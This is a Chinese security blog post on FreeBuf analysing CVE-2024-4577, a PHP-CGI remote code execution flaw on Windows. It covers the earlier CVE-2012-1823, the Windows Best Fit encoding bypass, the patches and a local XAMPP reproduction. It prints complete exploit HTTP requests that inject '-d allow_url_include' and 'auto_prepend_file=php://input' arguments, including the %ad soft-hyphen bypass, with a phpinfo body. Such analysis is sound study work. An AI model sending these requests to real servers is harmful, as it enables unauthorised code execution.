freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

[CVE-2024-4577]PHP-CGI Windows平台远程代码执行漏洞分析
ixpqxi 2024-06-11 23:53:11 200122

一、背景知识

1.CVE-2012-1823

CVE-2024-4577漏洞是对该漏洞的修复绕过产生的,可以说该漏洞是CVE-2024-4577的前身。对该漏洞进行了解有利于分析CVE-2024-4577。

  • 该漏洞的影响的PHP版本为:

php < 5.3.12
php < 5.4.2
  • PHP-CGI
    PHP-CGI(Common Gateway Interface)是一种通过CGI协议运行PHP脚本的方式。它允许Web服务器调用外部PHP程序来处理动态内容请求,将PHP脚本的输出返回给浏览器显示。虽然PHP-CGI提供了对运行环境的更多控制,但性能和扩展性不如现代的PHP-FPM(FastCGI Process Manager)。PHP-FPM如今更常用,因为它效率更高,适合高并发环境。
    假设服务器启用了PHP-CGI功能,并接收到如下的HTTP请求:

http://host/index.php?foo=bar

这个请求便会被解析成调用PHP-CGI命令为:

php-cgi.exe index.php foo=bar
  • 漏洞成因:
    对漏洞的补丁进行分析,官方的漏洞修复commit如下:
    CVE-2012-1823修复补丁
    可以看到补丁主要对字符-做了过滤,主要检测到字符串开头为-字符并且字符串不存在=字符就设置skip_getopt = 1,即跳过对该请求的处理。从上可知该远程代码执行漏洞主要由未过滤-字符导致的,下面分析为什么该字符会导致漏洞呢?
    实际上php-cgi.exe是一个可执行程序,一般在PHP安装的目录下面可以找到,执行php-cgi.exe -h命令查看帮助如下:

$php-cgi.exe -h

Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php <file> [args...]
  -a               Run interactively
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script's directory
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.
  -T <count>       Measure execution time of script repeated <count> times.

从上可以看到,-d参数可以在运行时设置PHP配置选项,那么可以利用PHP配置中的allow_url_include、auto_prepend_file或auto_append_file参数来进行远程文件包含,最终实现远程代码执行。构造的HTTP请求如下:

POST /index.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

<?php phpinfo(); ?>

在解析成PHP-CGI调用命令后如下:

php-cgi.exe index.php -d allow_url_include=on -d auto_prepend_file=php://input

最终导致远程代码执行。

2.Best Fit特性

在Windows平台上,字符编码的Best Fit特性是指操作系统在处理字符映射时的一种行为。由于历史原因和不同地区的语言需求,Windows 操作系统实现了一种字符编码的Best Fit机制,用于在不同的字符集之间进行最佳匹配。具体处理过程为:当一个字符在当前的字符集中不存在时,Windows 将尝试在该字符集的Best Fit映射表中寻找最接近的字符进行替代显示。这种替代可能会导致某些字符在不同的语言环境下显示的效果有所不同。

二、CVE-2024-4577漏洞分析

1.漏洞条件

  • 用PHP-CGI解析请求

  • 要求Windows操作系统的活动代码页满足一定映射条件。目前繁体中文、简体中文、日文,这三个其中之一的语言版本可以触发漏洞

  • 影响的PHP版本为:

8.3 ≤ version < 8.3.8
8.2 ≤ version < 8.2.20
8.1 ≤ version < 8.1.29

2.漏洞成因

在CVE-2012-1823的补丁中可以看到对-符号做了过滤,但是忽略了在Windows环境中对字符编码存在Best Fit特性,因此导致可以进行绕过,形成了CVE-2024-4577的远程代码执行漏洞。

观察windows在gb2312(ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312))的代码页的Best Fit映射表部分内容如下:

....
0x00aa	0x0061	;a
0x00ad	0x002d	;-
0x00af	0xa1a5	;��
0x00b0	0xa1e3	;��
 ....
参考链接: https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt

可以看到,如果我们提交的字符二进制数据为0xad那么在该映射表下会被解码成-字符,但在CVE-2012-1823漏洞的补丁中只是简单对字符的ascii码进行比较,而-的ascii码为0x2d,因此等式不会成立,因此达到绕过的目的。

对该漏洞的补丁进行分析,官方的修复代码(https://github.com/php/php-src/compare/php-8.3.7...php-8.3.8 sapi/cgi/cgi_main.c)如下:

CVE-2024-4577修复补丁

主要修复操作是,在windows平台下,使用一个windows提供的WideCharToMultiByte()函数对字符串进行解码,并检测编码后的字符串第一个字符是否为-,如果是则设置skip_getopt = 1,即跳过对该请求的处理。

综上所述,我们需要利用%ad替代原来的-%2d)进行绕过,构造的HTTP请求如下:

POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

<?php phpinfo(); ?>

3.漏洞复现

  • 环境搭建
    直接使用XAMPP来搭建环境比较方便,这里选择安装XAMPP 8.2.12 / PHP 8.2.12版本。

官网链接: https://www.apachefriends.org/zh_cn/index.html

打开apache的httpd-xampp.conf
httpd-xampp.conf
找到如下内容取消注释:

#<FilesMatch "\.php$">
#    SetHandler application/x-httpd-php-cgi
#</FilesMatch>
#<IfModule actions_module>
#    Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
#</IfModule>

即打开PHP-CGI功能,随后开启apache的http服务即可。
:XAMPP的web根目录在安装目录的htdocs文件夹。其次,windows系统的活动代码页需要满足漏洞条件,本机复现的活动代码页是936。可以利用chcp命令查看当前活动代码页。

$chcp
活动代码页: 936
  • 构造攻击包

POST /test.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

<?php phpinfo();?>

CVE-2024-4577复现

# web安全 # 漏洞复现及分析
本文为 ixpqxi 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
ixpqxi LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 1 关注者
[CVE-2021-3297]Zyxel NBG2105前端验证导致身份验证绕过漏洞
2024-07-11
信息收集笔记
2023-08-24
serial-1靶机练习
2023-03-26